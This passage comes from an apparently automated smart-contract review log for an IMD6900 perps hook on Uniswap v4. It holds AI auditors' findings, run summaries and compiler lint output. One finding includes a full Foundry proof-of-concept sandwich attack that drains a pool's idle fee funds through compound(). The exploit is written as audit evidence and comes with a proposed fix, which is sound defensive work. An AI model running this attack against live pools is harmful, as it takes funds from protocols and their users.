address carries FLAGS in its low 14 bits: a geometric search with mean 16,384 tries at ~128 gas each on top of ~3.7M gas for the two creations. Measured by raw CREATE across 48 deployer addresses: mean 5.8M gas, worst 11.6M (61,128 tries); an earlier 12-address sample reached 10.4M, and one address in a first sample needed 100,935 tries (about 16.6M gas, at the 2^24 cap). MAX_TRIES (1,048,576) is far beyond what any transaction can pay for (~134M gas), so NoSalt is unreachable and the failure mode of an unlucky address is plain out-of-gas in the constructor. The deployment service simulates the launch and checks its cost against the policy's gasCeilingWei; because the launch contract's address (and so the try count) is fixed by factory + salt + init code, the rehearsal on the fresh chain and the live deployment mine the same salt, so a simulation that passes is conclusive. Nothing to change in the code; the adapter and deployer should treat a gas-ceiling failure as 'this deployer address drew the tail', not as a defect, and re-salt.","line":23,"path":"src/IMD6900PerpsLaunch.sol","reproduction":"From a helper contract: bytes init = abi.encodePacked(vm.getCode(\"src/IMD6900PerpsLaunch.sol:IMD6900PerpsLaunch\"), abi.encode(PM, uint24(10000), owner, fee)); create(0, add(init, 0x20), mload(init)) from 48 fresh addresses: gas used ranged 3.8M to 11.6M, salt() ranged 348 to 61,128. Expected per README: 5.9M mean, 10.5M worst over 40 addresses. Consistent; the point is the spread, not a wrong value.","severity":"info","snippet":"    uint256 internal constant MAX_TRIES = 1 << 20;","title":"Launch gas depends on the deploying address: the mining tail can exceed a fixed gas ceiling for ~0.3% of deployer addresses"},{"citation":"resolved","description":"Read in full: src/IMD6900PerpsLaunch.sol, src/IMD6900PerpHook.sol, src/IMD6900PerpPool.sol, script/Owner.s.sol, test/IMD6900PerpsLaunch.t.sol, test/IMD6900Perps.t.sol, test/AuditFixes.t.sol, test/RobinhoodFlow.fork.t.sol, the vendored lib/v4-periphery BaseHook (every callback is onlyPoolManager; the constructor validates the address flags without an external call), lib/v4-core Hooks (ALL_HOOK_MASK = 0x3fff, the mask _mine uses), Solady Ownable (transferOwnership rejects address(0); _initializeOwner is unguarded and called once per constructor), SafeTransferLib (empty return data counts as success; relevant only to a code-less token the owner would have to pass). All 18 offline tests pass; the four audit fixes from job ea1c84c3 were re-read against the code and hold (compound band, fail-closed low-gas sweep, same-side band with no crossing, Pons read behind one try/catch, admin guards, additions leave earned fees in the pool). The owner's full-withdrawal property holds: beforeRemoveLiquidity checks only sender == launcher and the full range; the pool's engine check is switchable by the owner. Admission: launch init code 19,636 bytes with arguments (probe limit 49,152); runtimes 308 / 8,920 / 8,181 bytes; no CALLCODE, DELEGATECALL or SELFDESTRUCT in any of the three. Not reachable offline (no ROBINHOOD_RPC_URL; the fork test skipped): the Uniswap v4 PoolManager at 0x8366a39CC670B4001A1121B8F6A443A643e40951 (assumed the same version as the vendored one and that the chain supports tstore/tload), the IMD6900 coin at 0x69005D86d2c1bb1dFE70Df48e27D6aa02D044149 (assumed a plain ERC20 without transfer tax; a fee-on-transfer coin would make open() and addLiquidity revert on settle), the Pons curve/factory/launcher (0xE0aBb21F15766BE162429f46F494617eB5EF6Ba0, 0x7eD598BcEf8bd9Edd8C97A195C6d13f40801EC7e: that getReserves() ratio is the curve's marginal price, that PonsLaunchedToken matches the factory's struct field for field, and that the launcher exposes a payable addFees() for the pool's fee sink), and the perps engine, which is not in the repository. No critical or high finding, so no proof test is attached.","line":1,"path":"README.md","reproduction":"Not a defect. forge test: 18 passed, 0 failed, 1 skipped (the fork suite, no RPC).","severity":"info","snippet":"# IMD6900 perps hook: deployed by the IMD swarm on Robinhood Chain","title":"Coverage: what was read and what could not be reached"}],"hash":"8ec1974f7ee67ae75758f8a99fee540f1fa8377e1fef5608718deaca3b955dc1","nodeId":"98c217ac-c62e-4760-877e-ead9e40cb9ff","outcome":"completed","summary":"The review is complete. No critical, high or medium defect reproduced, so no proof test is attached. The findings file holds three low findings and four informational notes, each with a concrete state or input.\n\n**Contracts read:** all three source contracts, the owner script, the four test files, and the vendored pieces they depend on (BaseHook, Hooks, Solady Ownable and SafeTransferLib). The offline suite passes with all 18 tests. The four audit fixes from job ea1c84c3 were re-read against the code and hold. The owner's full-withdrawal property holds: the hook's remove-liquidity check looks only at the caller and the full range, and the pool's engine check is the owner's own switch.\n\n**Could not be reached:** anything on Robinhood Chain, since no RPC is available and the fork suite skipped. That covers the live PoolManager, the IMD6900 coin, the Pons curve, factory and launcher, and the perps engine, which is not in the repository. The assumptions that rest on them are listed in the coverage entry of the findings file.\n\n**Findings, by severity:**\n\n- **Low, hook fee model:** `feeBps` starts at 1000 bps while the pool's real fee is 100 bps, and `feeFor` reports zero for exempt callers who still pay 1%. Nothing enforces the \"must equal the pool's real fee\" rule.\n- **Low, dead gas test:** under forge 1.8.3 a `new` inside a test compiles to the `deployCode` cheatcode, so `test_FitsOneTransaction` logs 3760 gas and guards nothing. Measured with a raw CREATE across 48 deployer addresses, real gas is 3.8M to 11.6M, so the claim itself still holds.\n- **Low, idle balances:** ETH and coin held by the pool contract outside the position can only leave through `compound`, which needs both assets and a pool within 1% of Pons. After the documented migration that path can strand the creator-fee share arriving at the old pool.\n- **Info:** the band's reference is a same-transaction spot price; the post-launch setters and the owner's ability to halt non-engine trading are deliberate trust assumptions the adapter should keep; launch gas depends on the deployer address with a small tail; plus the coverage entry.\n\nScratch tests were removed. The only new file in the tree is `.imd-findings.json`.","treeHash":null,"usage":{"cachedInputTokens":1076279,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":56048,"runtime":"claude","turns":26,"wallClockMs":859241}},{"artifacts":[],"attempt":1,"bundleHash":"1e6ddcc52cca8f6fbd85601f33336641c5a5567c0bb178b9514654633c961b27","device":"c0f339153549a92d","findings":[],"hash":"d182eabf6d107a415ef78adad8a79b0285dd46ac7b4ae4deccc7695f63cb5693","nodeId":"44a0cc22-a79f-4f83-a10a-add9c692369f","outcome":"completed","summary":"Added failure-path, fuzz, and stateful invariant tests under `test/`, covering custody, withdrawals, reentrancy, fee forwarding, liquidation sweeps, and Pons graduation.\n\nValidation:\n- `forge build --offline`: passed.\n- `forge test --offline`: **87 passed, 0 failed, 1 skipped**.\n- Invariants: **16,384 randomized calls**, no unexpected reverts.\n\nThe Robinhood fork skipped without an RPC URL. No new reproducible defects found. All changes are limited to `test/`.","treeHash":"3f79d15489d07e59903ba35561768be4366dab96","usage":{"cachedInputTokens":2950912,"inputTokens":159155,"model":"gpt-6-astra","outputTokens":33428,"runtime":"codex","turns":7,"wallClockMs":853840}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fcb71e606c933181","findings":[{"citation":"resolved","description":"The swarm's fix for the compound sandwich (job ea1c84c3, README 'compound() pairs the pool's idle funds only within 1% of the Pons price') rests on IMD6900PerpHook.deviationBps(), which is _deviation(poolPriceX96(), ponsPriceX96()). _deviation (src/IMD6900PerpHook.sol:341, `if (ref == 0) return 0;`) returns 0 when there is no Pons price at all, the same value it returns when the pool sits exactly on the Pons price. ponsPriceX96() is 0 whenever the reference is unreadable: the whole read sits behind one try/catch by design (the band must switch off, never halt trading), and _graduatedPriceX96 also returns 0 for a graduated coin whose factory record has `phase != 2`, whose PonsLaunchedToken layout does not decode, or whose reconstructed pool key has no slot0. In that state two guards vanish at once: the band no longer judges swaps (documented and intended), and compound()'s OffPons check never fires (not documented, and the opposite of what the fix claims). An unprivileged caller therefore runs the exact sandwich the fix was meant to stop: push the pool to any price with one swap (nothing refuses it), call compound() so the pool pairs its idle ETH and coin at that price, swap back. The profit comes out of the pool's idle funds, which are the protocol's fee income (the 10% Pons creator-fee share the launcher pays this pool and the LP fees collected on additions). The precondition is a state, not a privileged action: the coin graduating on Pons is the expected path of a successful launch, and the hook's graduated-pool read depends on an ABI and pool key it cannot verify, so 'reference unreadable' is reachable without the owner doing anything wrong. The band being off in that state is an accepted trade-off; compound() silently inheriting it is a defect because compound()'s own guard should refuse to pair when it has no price to pair at.","line":213,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook, PonsLaunchedToken} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    string public constant name = \"coin\";\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// A Pons curve that has graduated: the curve is over and the factory record says no pool exists yet (phase != 2).\n/// That is one of the \"no reference\" states the hook reads as price 0 (band off); a factory whose record decodes\n/// differently, or a curve whose read reverts, lands in the same state.\ncontract GraduatedCurve {\n    address public immutable token;\n    address public immutable factory;\n    constructor(address token_, address factory_) { token = token_; factory = factory_; }\n    function getReserves() external pure returns (uint256, uint256) { return (0, 0); }\n    function graduated() external pure returns (bool) { return true; }\n    function pairToken() external pure returns (address) { return address(0); }\n}\n\ncontract PendingFactory {\n    function memeHook() external pure returns (address) { return address(0); }\n    function getLaunchedToken(address token) external pure returns (PonsLaunchedToken memory l) {\n        l.token = token;\n        l.exists = true;\n        l.phase = 1; // graduated, pool not created\n    }\n}\n\n/// A plain trader that swaps through the PoolManager as any router would\ncontract Trader {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external payable returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// The audit fix \"compound() pairs the pool's idle funds only within 1% of the Pons price\" rests on deviationBps(),\n/// which is 0 both at the Pons price and when there is no Pons price to read. In the second state the band is off,\n/// so an attacker pushes the pool anywhere, compounds the pool's idle ETH and coin at that price, and swaps back at\n/// a profit taken from the pool's own fees.\ncontract CompoundSandwichNoReferenceTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Trader attacker;\n    PoolKey key;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        // opened while the coin traded on its curve, at 1e9 coin per ETH; the coin has since graduated on Pons\n        GraduatedCurve curve = new GraduatedCurve(address(coin), address(new PendingFactory()));\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);\n        vm.stopPrank();\n        key = pool.poolKey();\n        // the pool's idle funds: its fee share from the Pons launcher and coin donated to it (what compound pairs)\n        vm.deal(address(pool), 0.5 ether);\n        coin.mint(address(pool), 5e26);\n        attacker = new Trader(PM);\n        vm.deal(address(attacker), 10 ether);\n    }\n\n    function test_CompoundIsSandwichableWhenPonsCannotBeRead() public {\n        // no reference at all: the hook reads the Pons price as 0, so the deviation reads as 0 (\"at Pons\")\n        assertEq(hook.ponsPriceX96(), 0, \"no Pons price\");\n        assertEq(hook.deviationBps(), 0, \"and the deviation reads as at-the-price\");\n\n        uint256 ethBefore = address(attacker).balance;\n        uint256 price0 = hook.poolPriceX96();\n\n        // 1. push the pool: a 4 ETH buy into 2 ETH of depth (band off, nothing refuses it)\n        attacker.swap(key, true, -4 ether);\n        uint256 pushed = hook.poolPriceX96();\n        assertLt(pushed * 5, price0, \"the pool is more than 5x away from where it opened\");\n\n        // 2. anyone compounds the pool's idle funds at the pushed price: the 1% guard does not fire\n        pool.compound(0, 0);\n\n        // 3. sell everything back\n        uint256 coins = coin.balanceOf(address(attacker));\n        vm.prank(address(attacker)); coin.approve(address(attacker), type(uint256).max);\n        attacker.swap(key, false, -int256(coins));\n\n        uint256 ethAfter = address(attacker).balance;\n        emit log_named_decimal_uint(\"attacker ETH before\", ethBefore, 18);\n        emit log_named_decimal_uint(\"attacker ETH after\", ethAfter, 18);\n        // Expected: compound refuses (OffPons / no reference), so the round trip only loses the 1% fees twice.\n        // Actual: compound runs at the pushed price and the attacker leaves with more ETH than they came with.\n        assertLe(ethAfter, ethBefore, \"a round trip through the pool with a compound in the middle must not pay\");\n    }\n}","reproduction":"State: launch (PM, 10000, OWNER, OWNER); the owner opens the pool with 2 ETH and 2e27 coin at 1e9 coin/ETH against a Pons curve; the coin later graduates and the factory record reports phase 1 (or any other read that makes ponsPriceX96() return 0: hook.ponsPriceX96() == 0 and hook.deviationBps() == 0). The pool holds 0.5 ETH and 5e26 coin idle (its fee share). Attacker, unprivileged, three calls: (1) swap zeroForOne exact-in 4 ETH through the PoolManager (the band is off, so a buy that moves the pool >5x goes through), (2) pool.compound(0, 0) (dev == 0 <= 100, so it pairs the idle funds at the pushed price), (3) sell all coin received. Expected: compound() reverts (OffPons or 'no reference'), and the round trip only loses the two 1% fees. Actual: compound() runs and the attacker ends with 10.1598 ETH from 10 ETH, +0.1598 ETH net taken from the pool's idle funds. Test: test/scratch/CompoundSandwichNoReference.t.sol fails on this code with '10159824811969403458 > 10000000000000000000'. Fix that keeps the design: have compound() refuse when the hook has no reference (e.g. `if (hook.ponsPriceX96() == 0) revert OffPons(type(uint256).max)` or make _deviation return OFF_SCALE for ref == 0 only on the compound path), leaving the band's fail-open behaviour unchanged; the owner can still recover idle funds with sweepIdle.","severity":"medium","snippet":"        uint256 dev = IBandView(hook).deviationBps();\n        if (dev > COMPOUND_MAX_DEV_BPS) revert OffPons(dev);","title":"compound() sandwich guard is dead whenever the Pons reference cannot be read: deviationBps() reports 0 for 'no reference' as well as 'at the reference'"},{"citation":"resolved","description":"The swarm's fix 'no zero fee address' was applied to updateFeeAddress (ZeroAddress) but not to the constructor, which stores feeAddress_ unchecked. IMD6900PerpsLaunch passes its fourth constructor argument straight through, so a launch with feeAddress = 0 deploys fine (IMD's fresh-chain rehearsal cannot tell), and every flush() then sends 3% of the hook's balance to address(0) with a plain transfer that succeeds. The owner cannot repair it by calling updateFeeAddress(0) (refused) but can set a real address; until then the share is burned, and if the owner instead renounces, the 3% goes to the launcher as designed. The requested launch passes 0x35da9c03...a059, so this does not bite the configured arguments; it is the one remaining input the ZeroAddress guard was meant to cover. Fix: `if (feeAddress_ == address(0)) revert ZeroAddress();` in the hook constructor (the launch then reverts with that error on a fresh chain, as the dynamic-fee check already does).","line":187,"path":"src/IMD6900PerpHook.sol","reproduction":"`new IMD6900PerpsLaunch(PM, 10000, OWNER, address(0))` succeeds and `hook.feeAddress() == address(0)`; `vm.prank(OWNER); hook.updateFeeAddress(address(0))` reverts ZeroAddress (the guard exists for updates only). Then `vm.deal(address(hook), 1 ether); hook.flush();` moves 0.03 ETH to address(0) (address(0).balance grows by 0.03 ether) and 0.97 ETH to the pool. Expected: the launch refuses the zero fee address the way updateFeeAddress does. Verified by test/scratch/FeeAddressZeroAtLaunch.t.sol::test_LaunchAcceptsAZeroFeeAddressThatUpdateFeeAddressRefuses (passes, i.e. the behaviour above is observed).","severity":"low","snippet":"        feeAddress = feeAddress_;","title":"The launch accepts a zero fee address that updateFeeAddress refuses; flush() then burns 3% of every forward"},{"citation":"resolved","description":"The swarm's fix made the fee sink 'must be a contract', but the comment's real requirement (it must take addFees()) is not checked. The owner's wire step sets the sink to the Pons launcher at 0xE0aBb21F15766BE162429f46F494617eB5EF6Ba0; none of the IPonsLaunch interfaces in this repository (script/Owner.s.sol, test/RobinhoodFlow.fork.t.sol) declare addFees(), and the fork flow never calls hook.flush() after wiring, so whether the launcher accepts `addFees{value}()` is unverified offline. If it does not, hook.flush() reverts for everyone (the 97% leg is `IFeeSink(launcher).addFees{value}()` -> pool.addFees -> `IFeeSink(sink).addFees{value}()`), and stray ETH stays in the hook until the owner sets a sink that does (or zero, which keeps the ETH in the pool for sweepIdle). Recoverable by the owner, no loss, so informational: it is an open item for the owner's wiring rather than a code defect, and the cheap code-side guard would be a staticcall-free probe at setFeeSink time (e.g. require `IFeeSink(feeSink_).addFees{value: 0}()` succeeds) or documenting that the sink must expose addFees().","line":93,"path":"src/IMD6900PerpPool.sol","reproduction":"Owner: `pool.setFeeSink(address(new NoAddFees()))` where NoAddFees has only `receive() external payable {}` (code.length != 0, so the check passes). Then `vm.deal(address(hook), 1 ether); hook.flush();` reverts (the sink has no addFees selector) and `address(hook).balance` stays 1 ether. Expected: either setFeeSink refuses a sink that cannot take addFees, or the documentation of the wire step confirms the launcher exposes it. Verified by test/scratch/FeeAddressZeroAtLaunch.t.sol::test_FeeSinkWithoutAddFeesBricksFlush (passes, i.e. the revert is observed).","severity":"info","snippet":"        if (feeSink_ != address(0) && feeSink_.code.length == 0) revert NotAContract(); // a sink must take addFees()","title":"setFeeSink only checks for code, not for addFees(): a sink without it makes every flush() revert until the owner repoints it"}],"hash":"ee228fd68303e3754cc894f0b1f91d5fe5931e2b4b21571627980b18878f499e","nodeId":"fc601702-e881-4e66-9792-ccaab74be683","outcome":"completed","summary":"The review is complete. The findings file is written and validated, all 41 entry points have coverage rows, and no tracked file was changed.\n\n**What I found**\n\n- **Medium: the compound sandwich guard is dead when the Pons reference cannot be read.** The swarm's fix made `compound()` refuse unless the pool is within 1% of Pons, but it reads `deviationBps()`, which returns 0 both at the Pons price and when there is no Pons price at all. The hook reads the reference as 0 whenever the try/catch trips, and also for a graduated coin whose factory record has no pool yet or does not decode. In that state the band is off, so an unprivileged trader pushes the pool anywhere, compounds the pool's idle fee income at that price and swaps back. My scratch test shows the attacker ending a 4 ETH round trip with 0.16 ETH more than they started with, taken from the pool's idle funds. The proof test is attached to the finding and fails on the current code.\n- **Low: the launch accepts a zero fee address.** The ZeroAddress guard was added to `updateFeeAddress` but not to the hook constructor. A launch with fee address 0 deploys, and every `flush()` then burns 3%. The configured arguments are nonzero, so this does not bite this launch.\n- **Info: `setFeeSink` checks only that the sink has code, not that it exposes `addFees()`.** The owner's wire step points the sink at the Pons launcher, whose interfaces in this repository declare no such function, and the fork flow never calls `flush()` after wiring. If the launcher lacks it, `flush()` reverts until the owner repoints the sink. Recoverable, unverified offline.\n\n**What held in my area.** The band cannot be walked past 30% in steps, an engine's exempt nested swap cannot leave a stale start for the trader's own swap, the pre-trade sweep fails closed at any gas, only the launcher can initialize or add liquidity, and the owner's full withdrawal depends on nothing in the hook. The launch's CREATE2 mining layout, flag check and ownership handoff are correct, and all 34 existing offline tests pass.\n\n**Not reached.** Live Pons behaviour: the curve's reserve order, the factory struct layout, the graduated pool key, and the launcher's `addFees`. No RPC was available and nothing in the repository names one, so those remain open items for the fork review.","treeHash":null,"usage":{"cachedInputTokens":1857288,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":70768,"runtime":"claude","turns":31,"wallClockMs":1124999}}],"verification":[{"checks":[{"durationMs":20730,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 20.59s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:38:29\n   │\n38 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n39 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n40 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:74:14\n   │\n74 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:264:9\n    │\n264 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:92:25\n   │\n92 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:179:63\n    │\n179 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:95:9\n   │\n95 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:179:44\n    │\n179 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:109:22\n    │\n109 │     function setHook(address hook_) external onlyOwner {\n    │                      ━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:112:9\n    │\n112 │         emit HookSet(hook_);\n    │         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:115:28\n    │\n115 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:117:9\n    │\n117 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:220:9\n    │\n220 │         emit PerpFeeSet(bps);\n    │         ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:124:9\n    │\n124 │         emit CurveSet(curve_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:225:28\n    │\n225 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:227:9\n    │\n227 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:144:9\n    │\n144 │         SafeTransferLib.safeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:232:9\n    │\n232 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:239:9\n    │\n239 │         emit BandSet(maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:249:9\n    │\n249 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:256:9\n    │\n256 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:134:95\n    │\n134 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:141:21\n    │\n141 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:146:9\n    │\n146 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:141:67\n    │\n141 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:162:23\n    │\n162 │         if (eth != 0) SafeTransferLib.safeTransferETH(ethTo, eth);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:154:9\n    